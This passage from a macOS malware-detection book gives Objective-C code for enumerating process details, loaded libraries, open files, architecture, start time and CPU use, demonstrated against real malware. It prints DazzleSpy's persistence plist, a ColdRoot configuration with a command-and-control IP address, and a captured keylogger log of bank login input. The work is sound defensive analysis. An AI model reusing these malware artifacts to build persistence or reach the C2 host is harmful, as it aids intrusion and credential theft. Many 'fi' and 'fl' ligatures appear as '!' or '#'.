xpc_pipe_interface_routine function, which takes arguments such as the XPC 
bootstrap pipe, a routine (such as ROUTINE_DUMP_PROCESS), and a request dic-
tionary containing speci!c routine information such as a process ID and a 
shared memory buffer for the routine’s output (Listing 1-21).

#define ROUTINE_DUMP_PROCESS 0x2c4

result = xpc_pipe_interface_routine_FP((__bridge xpc_pipe_t)(globalData->xpc_bootstrap_pipe),
ROUTINE_DUMP_PROCESS, procInfoRequest, &response, 0x0);

Listing 1-21: Requesting process information via XPC
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If this request succeeds, meaning the result is zero and the response dic-
tionary passed into xpc_pipe_interface_routine does not contain the key error, 
then the response dictionary will contain a key-value pair with the key bytes 
-written. Its value is the number of bytes written to the allocated buffer we’ve 
added to the shared memory object. We extract this value in Listing 1-22.

bytesWritten = xpc_dictionary_get_uint64(response, "bytes-written");

Listing 1-22: Extracting the size of the response data

Now we can directly access the buffer, for example, to create a string 
object containing the entirety of the target process’s information 
(Listing 1-23).

NSString* processInfo = [[NSString alloc] initWithBytes:(const void*)
processInfoBuffer length:bytesWritten encoding:NSUTF8StringEncoding];

printf("process info (pid: %d): %s\n",
atoi(argv[1]), processInfo.description.UTF8String);

Listing 1-23: Converting process information into a string object

Although we’ve converted this information into a string object, it’s all 
lumped together, so we’ll still have to manually parse relevant pieces. This 
process isn’t covered here, but you can consult the procInfo project, which 
extracts the data into a dictionary of key-value pairs.

The information returned from launchd contains a myriad of useful 
details! To illustrate this, run procInfo against DazzleSpy’s persistent compo-
nent, which is installed as ~/.local/softwareupdate and, in this instance, is run-
ning with a process ID of 16776:

% ./procInfo 16776
process info (pid: 16776): {
    active count = 1
    path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist
    state = running

    program = /Users/User/.local/softwareupdate
    arguments = {
        /Users/User/.local/softwareupdate
        1
    }

    inherited environment = {
        SSH_AUTH_SOCK =>
        /private/tmp/com.apple.launchd.kEoOvPmtt1/Listeners
    }

    default environment = {
        PATH => /usr/bin:/bin:/usr/sbin:/sbin
    }
    environment = {
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        XPC_SERVICE_NAME => com.apple.softwareupdate
    }

    domain = gui/501 [100005]
    ...
    runs = 1
    pid = 16776
    immediate reason = speculative
    forks = 0
    execs = 1

    spawn type = daemon (3)

    properties = partial import | keepalive | runatload |
    inferred program | system service | exponential throttling
}

This process information, gathered via a single XPC call, can con!rm 
knowledge obtained from other sources and provide new details. For exam-
ple, if you query a launch agent or daemon such as DazzleSpy, the path key 
in the process information response will contain the property list respon-
sible for spawning the item:

path = /Users/User/Library/LaunchAgents/com.apple.softwareupdate.plist

We can con!rm this fact by manually examining the reported property 
list (which, for DazzleSpy, was com.apple.softwareupdate.plist) and noting that 
the path speci!ed does indeed point back to the malware’s binary:

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>KeepAlive</key>
    <true/>
    <key>Label</key>
    <string>com.apple.softwareupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/User/.local/softwareupdate</string>
        <string>1</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>SuccessfulExit</key>
    <true/>
</dict>
</plist>

Having a means of tracing a process ID back to the launch item prop-
erty list that triggered its spawning is quite useful. Why? Well, to achieve 
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persistence, the majority of malware installs itself as a launch item. Though 
legitimate software also persists in this manner, these launch items are all 
worth examining, as you have a good chance of !nding any persistently 
installed malware among them.

Code Signing
In a nutshell, code signing can prove who created an item and verify that it 
hasn’t been tampered with. Any detection algorithm attempting to classify a 
running process as malicious or benign should thus extract this code sign-
ing information. You should closely examine unsigned processes and those 
signed in an ad hoc manner, because these days, the vast majority of legiti-
mate programs you’ll !nd running on macOS are both signed and notarized.

Speaking of validly signed processes, those belonging to well-known soft-
ware developers are most likely benign (supply chain attacks aside). Moreover, 
if Apple proper has signed a process, it won’t be malware (although, as we’ve 
seen, malware could leverage Apple binaries to perform malicious actions, 
as in the case of the Lazarus group’s use of curl to download additional mali-
cious payloads).

Due to its importance, an entire chapter is dedicated solely to the topic of 
code signing. In Chapter 3, we discuss the topic comprehensively, applying it 
to running processes as well as to items such as disk images and packages.

Loaded Libraries
When attempting to uncover malware by analyzing running processes, you 
must also enumerate any loaded libraries. Stealthy malware, such as ZuRu, 
doesn’t spawn a stand-alone process, but rather is loaded into a subverted, 
although otherwise legitimate, one. In this case, the process’s main execut-
able binary will be benign, though modi!ed to reference the malicious 
library to ensure it is loaded.

Even if the malware does execute as a stand-alone process, you’ll still 
want to enumerate its loaded libraries for the following reasons:

• The malware may load additional malicious plug-ins, which you’ll likely 
want to scan or analyze.

• The malware may load legitimate system libraries to perform subversive 
actions. These can provide insight into the malware’s capabilities (for 
example, it might load the system framework used to interface with the 
mic or webcam).

Unfortunately, due to macOS security features, even signed, nota-
rized third-party security tools cannot directly enumerate loaded libraries. 
Luckily, there are indirect ways to do so using built-in macOS utilities such as 
vmmap. This tool possesses several Apple-only entitlements that allow it to read 
the memory of remote processes and provide a mapping that includes any 
loaded libraries.
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Run vmmap against the aforementioned ZuRu, which trojanizes a copy 
of the popular iTerm(2) application. It’s a good example, as its malicious 
logic is implemented solely in a dynamic library named libcrypto.2.dylib. 
We’ll execute vmmap with the -w #ag so that it prints out the full path of 
ZuRu’s mapped libraries. The tool expects a process ID, so we provide it 
with ZuRu’s (here, 932):

% pgrep iTerm2
932

% vmmap -w 932
Process:         iTerm2 [932]
Path:            /Applications/iTerm.app/Contents/MacOS/iTerm2
...
==== Non-writable regions for process 932
REGION     START - END         DETAIL
__TEXT     102b2b000-103247000 /Applications/iTerm.app/Contents/MacOS/iTerm2
__LINKEDIT 103483000-103cb4000 /Applications/iTerm.app/Contents/MacOS/iTerm2
...
__TEXT     10da4d000-10da85000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
__LINKEDIT 10da91000-10dacd000 /Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib
...

In this abridged output, you can see mappings of the binary’s main 
image (iTerm2), as well as dynamic libraries such as the dynamic loader dyld 
and the malicious library libcrypto.2.dylib.

How did I determine that libcrypto.2.dylib was the malicious component? 
After noticing that Jun Bi, rather than the legitimate developer, had signed 
this copy of iTerm2, I compared a list of its loaded libraries with a list of the 
libraries loaded by the original application. There was only one difference: 
libcrypto.2.dylib. Static analysis con!rmed that this anomalous library was 
indeed malicious.

Because we don’t possess the private Apple entitlements needed to read 
remote process memory (which includes all loaded libraries), we’ll simply 
execute vmmap and parse its output. Several of my Objective-See tools, such as 
TaskExplorer,13 take this approach. You can also !nd code that implements 
this process in a function named getLibraries in the enumerateProcesses project.

First, we need a helper function capable of executing an external binary 
and returning its output (Listing 1-24).

#define STDERR @"stdError"
#define STDOUT @"stdOutput"

#define EXIT_CODE @"exitCode"

NSMutableDictionary* execTask(NSString* binaryPath, NSArray* arguments) {
    NSTask* task = nil;
    NSPipe* stdOutPipe = nil;
    NSFileHandle* stdOutReadHandle = nil;
    NSMutableDictionary* results = nil;
    NSMutableData* stdOut = nil;
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    results = [NSMutableDictionary dictionary];
    task = [NSTask new];
  1 stdOutPipe = [NSPipe pipe];
    stdOutReadHandle = [stdOutPipe fileHandleForReading];
    stdOutData = [NSMutableData data];
  2 task.standardOutput = stdOutPipe;
    task.launchPath = binaryPath;

    if(nil != arguments) {
        task.arguments = arguments;
    }

    [task launch];

    while(YES == [task isRunning]) {
      3 [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    }

    [stdOutData appendData:[stdOutReadHandle readDataToEndOfFile]];
    if(0 != stdOutData.length) {
      4 results[STDOUT] = stdOutData;
    }

    results[EXIT_CODE] = [NSNumber numberWithInteger:task.terminationStatus];

    return results;
}

Listing 1-24: Executing a task and capturing its output

The execTask function executes a task using the speci!ed parameters 
via Apple’s NSTask API. It waits until the spawned task has completed and 
returns a dictionary containing various key-value pairs, including any 
output the command generated, to stdout. To capture the task’s output, 
the code initializes a pipe object (NSPipe) 1 and then sets it as the task’s 
standard output 2. When the task generates output, the code reads off the 
pipe’s !le handle 3 and appends it to a data buffer. Once the task exits, 
any remaining output is read and the data buffer is saved into the results 
dictionary, which is returned to the caller 4.

The function’s caller, for example, getLibraries, can invoke it with a 
path to any binary, along with any arguments. If needed, we can convert its 
output into a string object (Listing 1-25).

pid_t pid = <some process id>;

NSMutableDictionary* results = execTask(@"/usr/bin/vmmap", @[@"-w", [[NSNumber
numberWithInt:pid] stringValue]]);

NSString* output = [[NSString alloc] initWithData:results[STDOUT]
encoding:NSUTF8StringEncoding];

Listing 1-25: Converting task output into a string object
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We can then parse the vmmap output in many ways, such as line by line or 
via regular expressions. Listing 1-26 shows one technique.

NSMutableArray* dylibs = [NSMutableArray array];

for(NSString* line in
[output componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
    if(YES != [line hasPrefix:@"__TEXT"]) {
        continue;
    }
}

Listing 1-26: Parsing the output lines that start with __TEXT

Here, we search for lines that start with __TEXT, as all dynamically loaded 
libraries in the vmmap output start with memory regions of this type. These 
lines of data also contain the full path of the loaded library, which is what 
we’re really after. Listing 1-27 extracts these paths within the for loop shown 
in Listing 1-26.

NSRange pathOffset = {0};
NSString* token = @"SM=COW";

pathOffset = [line rangeOfString:token];
if(NSNotFound == pathOffset.location) {
    continue;
}

dylib = [[line substringFromIndex:pathOffset.location+token.length]
stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];

if(dylib != nil) {
    [dylibs addObject:dylib];
}

Listing 1-27: Extracting the dynamic library’s path

The code !rst looks for the copy-on-write share mode ("SM=COW"), which 
precedes the path. If found, then, using the offset following the share 
mode, it extracts the path itself. At this point, the dylibs array should con-
tain all dynamic libraries loaded by the target process.

Now let’s execute enumerateProcesses while running the same instance of 
ZuRu we saw earlier:

% ./enumerateProcesses
...
(932):/Applications/iTerm.app/Contents/MacOS/iTerm2
...
Dynamic libraries for process iTerm2 (932):
(
"/Applications/iTerm.app/Contents/MacOS/iTerm2",
"/usr/lib/dyld",
"/Applications/iTerm.app/Contents/Frameworks/libcrypto.2.dylib",
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...
)

As you can see, we’re able to extract all loaded libraries in ZuRu’s 
address space, including the malicious libcrypto.2.dylib.

Note that on recent versions of macOS, system frameworks (which are 
essentially a type of dynamically loaded library) have been moved into what 
is known as the dyld_shared_cache. However, vmmap will still report the frame-
works’ original paths. This is a notable point for two main reasons. First, if 
you want to examine the framework’s code, you’ll have to extract it from the 
shared cache.14

Second, if you’ve implemented logic to detect self-deleting framework 
libraries, you should make an exception for these frameworks. Otherwise, 
your code will report that they’ve been deleted. One simple way to check if 
a given framework has been moved to the cache is to invoke Apple’s _dyld 
_shared_cache_contains_path API.

Open Files
Just as enumerating loaded libraries can provide insight into the capabili-
ties of a process, so can enumerating any open !les. This technique could 
help us identify malware known as ColdRoot, a RAT that affords a remote 
attacker complete control over an infected system.15 If you list all !les opened 
by each process on a system infected with this malware, you’ll encounter  
a strange !le named conx.wol opened by a process named com.apple.audio 
.driver.app. Upon closer examination, it will become obvious that the pro-
cess does not belong to Apple and is in fact malware (ColdRoot), conx.wol 
is the malware’s con!guration !le, and it contains valuable information to 
defenders, including the address of the command-and-control server:

% cat com.apple.audio.driver.app/Contents/MacOS/conx.wol
{
    "PO": 80,
    "HO": "45.77.49.118",
    "MU": "CRHHrHQuw JOlybkgerD",
    "VN": "Mac_Vic",
    "LN": "adobe_logs.log",
    "KL": true,
    "RN": true,
    "PN": "com.apple.audio.driver"
}

Later on, you’ll encounter another !le opened by the malware, adobe 
_logs.log, which appears to contain captured keystrokes, including a username 
and password for a bank account:

bankofamerica . com
[enter]
user
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[tab]
hunter2
[enter]

You might be wondering how you can determine that these !les are 
malicious using programmatic methods alone. Truthfully, this would be com-
plicated. It would perhaps involve creating a regular expression to look for 
URLs, IP addresses, or what appear to be captured keypresses, such as con-
trol characters. However, it’s more likely that other detection logic will have 
already cast this unsigned packed malware as suspicious and #agged it for 
closer examination, ideally by a human malware analyst. ColdRoot, for exam-
ple, is unsigned, packed, and persisted. In this case, the code could provide 
the analyst with both a list of any !le opened by the suspicious process and 
the !le contents. An analyst could then manually con!rm that the #agged 
process was malware and use the !les to gain a cursory understanding of how 
it works.

In this section, we discuss two approaches to programmatically enumer-
ating all !les opened by a process.

proc_pidinfo
The traditional approach to enumerating the !les a process currently has 
open involves the proc_pidinfo API. In short, invoking this API with the PROC 
_PIDLISTFDS #ag will return a list of open !le descriptors for a given process. 
Let’s walk through a code example that illustrates the use of this API. You can 
!nd the complete code in a function named getFiles in the enumerateProcesses 
project. We start by retrieving a process’s !le descriptors (Listing 1-28).

1 int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, 0, 0);

2 struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

3 proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);

Listing 1-28: Obtaining a list of a process’s file descriptors

The code invokes the proc_pidinfo API with a process ID for a target 
process, the PROC_PIDLISTFDS #ag, and a series of zeros to obtain the size of 
memory needed to hold the process’s list of !le descriptors 1. We then allo-
cate a buffer of this size to hold pointers of proc_fdinfo structures 2. Then, 
to obtain the actual list of descriptors, we reinvoke the proc_pidinfo API, this 
time with the freshly allocated buffer and its size 3.

Now that we have a list of open !le descriptors, let’s examine each 
of them. Regular !les should have descriptors of type PROX_FDTYPE_VNODE. 
Listing 1-29 retrieves the paths of these !les.

NSMutableArray* files = [NSMutableArray array];

  1 for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
        struct vnode_fdinfowithpath vnodeInfo = {0};
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      2 if(PROX_FDTYPE_VNODE != fdInfo[i].proc_fdtype) {
            continue;
        }

      3 proc_pidfdinfo(pid, fdInfo[i].proc_fd,
        PROC_PIDFDVNODEPATHINFO, &vnodeInfo, PROC_PIDFDVNODEPATHINFO_SIZE);

      4 [files addObject:[NSString stringWithUTF8String:vnodeInfo.pvip.vip_path]];
}

Listing 1-29: Extracting the paths from the file descriptors

Using a for loop, we iterate over the retrieved !le descriptors 1. For 
each descriptor, we check whether it is of type PROX_FDTYPE_VNODE and skip all 
other types 2. We then invoke the proc_pidfdinfo API with various param-
eters, such as the process ID, the !le descriptor, and PROC_PIDFDVNODEPATHINFO, 
as well as an output structure of type vnode_fdinfowithpath and its size 3. This 
should return information about the speci!ed !le descriptor, including its 
path. Once the call completes, we can !nd the path in the vip_path member 
of the pvip structure, within the vnode_fdinfowithpath structure. We extract 
the member, convert it into a string object, and save it into an array 4.

lsof
Another way of enumerating open !les for a process is to mimic macOS’s 
Activity Monitor utility. Though this approach relies on an external macOS 
executable, it often produces a more comprehensive list than the proc_pidinfo 
approach.

After selecting a process in Activity Monitor, a user can click the infor-
mation icon and then the Open Files and Ports tab to see all !les the pro-
cess has opened. By reverse engineering Activity Monitor, we can learn that 
it accomplishes this behavior behind the scenes by executing lsof, a built-in 
macOS tool for listing open !les.

You can con!rm that Activity Monitor uses lsof via a process monitor, a 
tool I’ll show you how to create in Chapter 8. When a user clicks the Open 
Files and Ports tab, the process monitor will show lsof being executed with 
the command line #ags -Fn and -p:

# ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor
{
  "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process" : {
    "pid" : 86903
    "name" : "lsof",
    "path" : "/usr/sbin/lsof",

    "arguments" : [
      "/usr/sbin/lsof",
      "-Fn",
      "-p",
      "590"
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    ],
...
}

The -p #ag speci!es the process’s ID, and the -F #ag selects !elds to be 
processed. When this #ag is followed by n, the tool will print out just the 
!le’s path, which is exactly what we want.

Let’s follow the approach taken by Activity Monitor and execute the 
lsof binary for a given process, then programmatically parse its output. You 
can !nd the complete code that implements this approach in a function 
named getFiles2 in the enumerateProcesses project. In Listing 1-30, we start by 
executing lsof with the -Fn and -p #ags and a process ID.

NSString* pidAsString = [NSNumber numberWithInt:pid].stringValue;
NSMutableDictionary* results = execTask(@"/usr/sbin/lsof", @[@"-Fn", @"-p", pidAsString]);

Listing 1-30: Programmatically executing lsof

We reuse the execTask function created in Listing 1-24 to run the com-
mand. However, because command line arguments are passed to external 
processes as strings, we must !rst convert the target process ID to a string. 
Recall that the execTask function will wait until the spawned task has com-
pleted, capture any output, and return it to the caller. Listing 1-31 shows 
one approach to parsing lsof’s output.

NSMutableArray* files = [NSMutableArray array];

NSArray* lines = [[[NSString alloc] initWithData:results[STDOUT] 1
encoding:NSUTF8StringEncoding] componentsSeparatedByCharactersInSet:[NSCharacterSet
newlineCharacterSet]]; 2

for(NSString* result in lines) {
    if(YES == [result hasPrefix:@"n"]) { 3
        NSString* file = [result substringFromIndex:1];
        [files addObject:file];
    }
}

Listing 1-31: Parsing output from lsof

The output is stored in a dictionary named results, and you can access 
it via the key STDOUT 1. You can split the output on newline characters in 
order to process it line by line 2. Then iterate over each line, looking for 
those that contain a !lepath (which are pre!xed with n) 3, and save them.

Other Information
There is, of course, other information you might want to extract from 
running processes to help you with the detection of malicious code on a 
macOS system. This chapter wraps up with a few examples that examine  
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the following details about a process: its execution state, its execution 
architecture, its start time, and its CPU utilization. You might also want  
to determine its network state, a topic covered in Chapter 4.

Execution State
Imagine you have retrieved a list of process IDs. You’ll likely want to query 
the process further (for example, to build a process ancestry tree or com-
pute code signing information). But what if the process has already exited, 
as in the case of a short-lived shell command? This is pertinent information, 
and at the very least, you’ll want to understand why any attempts to further 
query the process fail.

A trivial way to determine whether a process is dead is to attempt to 
send it a signal. One way to do this is via the kill system API with a signal 
type of 0, as shown in Listing 1-32.

kill(targetPID, 0);
if(ESRCH == errno) {
    // Code placed here will run only if the process is dead.
}

Listing 1-32: Checking whether a process is dead

This won’t kill any living processes; in fact, it’s totally harmless. However, 
if a process has exited, the API will set errno to ESRCH (no such process).

What if the process is zombie-!ed? You can use the sysctl API to popu-
late a kinfo_proc structure, as in Listing 1-33.

int mib[4] =  {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
size_t size = sizeof(procInfo);

sysctl(mib, 4, &procInfo, &size, NULL, 0);
if(SZOMB == (SZOMB & procInfo.kp_proc.p_stat)) {
    // Code placed here will run only if the process is a zombie.
}

Listing 1-33: Checking whether a process is a zombie

This structure contains a #ag named p_stat. If that #ag has the SZOMB bit 
set, you know the process is a zombie.

Execution Architecture
With the introduction of Apple Silicon, macOS now supports both Intel 
(x86_64) and ARM (ARM64) binaries. Because many analysis tools are 
speci!c to a !le’s architecture, identifying this information for a process is 
important. Moreover, although developers have recompiled most legitimate 
software to run natively on Apple Silicon, malware is still playing catch-up; 
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a surprising amount of it is still distributed as Intel binaries. Some examples 
of malware discovered in 2022 that are distributed solely as Intel binaries 
include DazzleSpy, rShell, oRat, and CoinMiner:

% file DazzleSpy/softwareupdate
DazzleSpy/softwareupdate: Mach-O 64-bit executable x86_64

For this reason, you might want to look a little more closely at Intel 
binaries than at ARM or universal binaries.

Unfortunately, identifying architecture information is not as straight-
forward as simply checking the host’s CPU type, because on Apple Silicon 
systems, Intel binaries can still execute, albeit translated via Rosetta. 
Instead, you can follow the process taken by Activity Monitor. Listing 1-34 
shows this approach, which you can !nd in the getArchitecture function in 
the enumerateProcesses project.

enum Architectures{ArchUnknown, ArchAppleSilicon, ArchIntel};

NSUInteger getArchitecture(pid_t pid) {
    NSUInteger architecture = ArchUnknown;
    cpu_type_t type = -1;
    size_t size = 0;
    int mib[CTL_MAXNAME] = {0};
    size_t length = CTL_MAXNAME;
    struct kinfo_proc procInfo = {0};

  1 sysctlnametomib("sysctl.proc_cputype", mib, &length);
    mib[length++] = pid;

    size = sizeof(cpu_type_t);
  2 sysctl(mib, (u_int)length, &type, &size, 0, 0);

  3 if(CPU_TYPE_X86_64 == type) {
        architecture = ArchIntel;
    } else if(CPU_TYPE_ARM64 == type) {
      4 architecture = ArchAppleSilicon;
        mib[0] = CTL_KERN;
        mib[1] = KERN_PROC;
        mib[2] = KERN_PROC_PID;
        mib[3] = pid;
        size = sizeof(procInfo);

        sysctl(mib, 4, &procInfo, &size, NULL, 0);
      5 if(P_TRANSLATED == (P_TRANSLATED & procInfo.kp_proc.p_flag)) {
            architecture = ArchIntel;
        }
    }
    return architecture;
}

Listing 1-34: Obtaining a process’s architecture
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This code, as well as Activity Monitor, !rst uses the "proc_cputype"  
string and the sysctlnametomib and sysctl APIs to determine a running pro-
cess’s CPU type. Note that the array passed to sysctlnametomib has a size of 
CTL_MAXNAME, a constant de!ned by Apple that de!nes the maximum number 
of components in an MIB name. If the answer is Intel (CPU_TYPE_X86_64),  
you know the process is running as x86_64. However, on Apple Silicon sys-
tems, these processes could still be backed by an Intel-based binary that  
was translated into ARM via Rosetta. To detect this scenario, Apple checks 
the process’s p_flags (obtained by a call to sysctl). If these #ags have the  
P_TRANSLATED bit set, Activity Monitor sets the architecture to Intel.

In the enumerateProcesses project, you’ll !nd a function named get 
Architecture. It takes a process ID and returns its architecture. First, we  
populate an array via the sysctlnametomib API, passing in the name sysctl 
.proc_cputype 1. Then, after adding the target process ID, we invoke the 
sysctl API with the initialized array to get the CPU type of said process 2. If 
the returned CPU type is CPU_TYPE_X86_64, the code sets the architecture to 
Intel 3. On the other hand, if the CPU type for the target process is CPU 
_TYPE_ARM64, the code defaults to Apple Silicon 4. As noted, the process 
could still be an Intel-based binary, albeit translated. To detect this sce-
nario, the code checks whether the process’s p_flags have the P_TRANSLATED 
bit set. If so, it sets the architecture to Intel 5.

Start Time
When querying running processes, you may !nd it useful to know when 
each process was started. This can help determine if a process was started 
automatically during system boot or later, perhaps by the user. Processes 
started automatically may be persistently installed, and if these don’t belong 
to the operating system, you may want to closely examine them.

To determine a process’s start time, we can once again turn to the trusty 
sysctl API. Listing 1-35 shows the getStartTime function in the enumerateProcesses 
project, which accepts a process ID and returns the process’s start time.

NSDate* getStartTime(pid_t pid) {
    NSDate* startTime = nil;
    struct timeval timeVal = {0};
    struct kinfo_proc processStruct = {0};
    size_t procBufferSize = sizeof(processStruct);

    int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};

    sysctl(mib, 4, &processStruct, &procBufferSize, NULL, 0); 1
    timeVal = processStruct.kp_proc.p_un.__p_starttime; 2

    return [NSDate dateWithTimeIntervalSince1970:timeVal.tv_sec + timeVal.tv_usec / 1.0e6]; 3
}

Listing 1-35: Obtaining the start time of a process
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We invoke sysctl to populate a kinfo_proc structure for a process 1. This 
structure will contain a timeval struct aptly named p_starttime 2. We then con-
vert this Unix timestamp into a more manageable date object that we return 
to the caller 3.

CPU Utilization
Let’s end the chapter by looking at how to compute CPU utilization for a 
given process. Although this isn’t a foolproof heuristic, it may help detect 
surreptitious cryptocurrency miners, which tend to maximize their use of 
system resources.

To compute CPU utilization, start by invoking the proc_pid_rusage 
API, which returns usage information for a given process ID. This API is 
declared in libproc.h as follows:

int proc_pid_rusage(int pid, int flavor, rusage_info_t* buffer);

The flavor argument can be set to the constant RUSAGE_INFO_V0, and the 
!nal argument is an output buffer to a resource information buffer, which 
should be of type rusage_info_v0.

In Listing 1-36, from the getCPUUsage function in the enumerateProcesses 
project, we invoke proc_pid_rusage twice with a delay (delta) between invo-
cations. Then we compute the difference between the resource informa-
tion of the !rst and second calls. This code was inspired by a post on Stack 
Over#ow.16

struct rusage_info_v0 resourceInfo_1 = {0};
struct rusage_info_v0 resourceInfo_2 = {0};

1 proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_1);

sleep(delta);

2 proc_pid_rusage(pid, RUSAGE_INFO_V0, (rusage_info_t*)&resourceInfo_2);

3 int64_t cpuTime = (resourceInfo_2.ri_user_time - resourceInfo_1.ri_user_time)
+ (resourceInfo_2.ri_system_time - resourceInfo_1.ri_system_time);

Listing 1-36: Computing the CPU time of a process over a delta of five seconds

You can see the !rst call to proc_pid_rusage at 1, followed by another call 
at 2. Both calls take the same process ID of the target process. We then 
compute the CPU time by subtracting both the user time (ri_user_time) and 
system time (ri_system_time), then adding the results 3.

To compute the CPU percentage in use, we !rst convert this CPU time 
from Mach time to nanoseconds. Listing 1-37 does this with the help of the 
mach_timebase_info function.

double cpuUsage = 0.0f;
mach_timebase_info_data_t timebase = {0};
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mach_timebase_info(&timebase);
cpuTime = (cpuTime * timebase.numer) / timebase.denom;

cpuUsage = (double)cpuTime / delta / NSEC_PER_SEC * 100;

Listing 1-37: Calculating a percentage of CPU usage

We then divide the CPU time by the speci!ed delay and the number of 
nanoseconds per second times 100 (as we want a percentage).17

Let’s now run enumerateProcesses, which contains this code, against the 
unauthorized cryptocurrency miner found in the Calendar 2 application 
mentioned earlier in this chapter:

% ./enumerateProcesses
...
(1641):/Applications/CalendarFree.app/Contents/MacOS/CalendarFree
...
CPU usage: 370.750173%

As the application is surreptitiously mining, its CPU utilization is a whop-
ping 370 percent! (On multicore CPUs, CPU utilization can reach values over 
100 percent.) We can con!rm the accuracy of the program by running the 
built-in macOS ps tool, specifying the PID of the Calendar application:

% ps u -p 1641
USER   PID      %CPU ...
user   1641     372.4 ...

Although the exact percentage will drift over time, ps shows the applica-
tion using roughly the same massive amount of CPU.

Conclusion
In this chapter, you saw how to extract a myriad of useful information from 
running processes, including process hierarchies, code information, and 
much more. With this information, you should be well on your way to detect-
ing any malware running on a macOS system. In the next chapter, we’ll focus 
on programmatically parsing and analyzing the Mach-O executable binary 
that backs each process.
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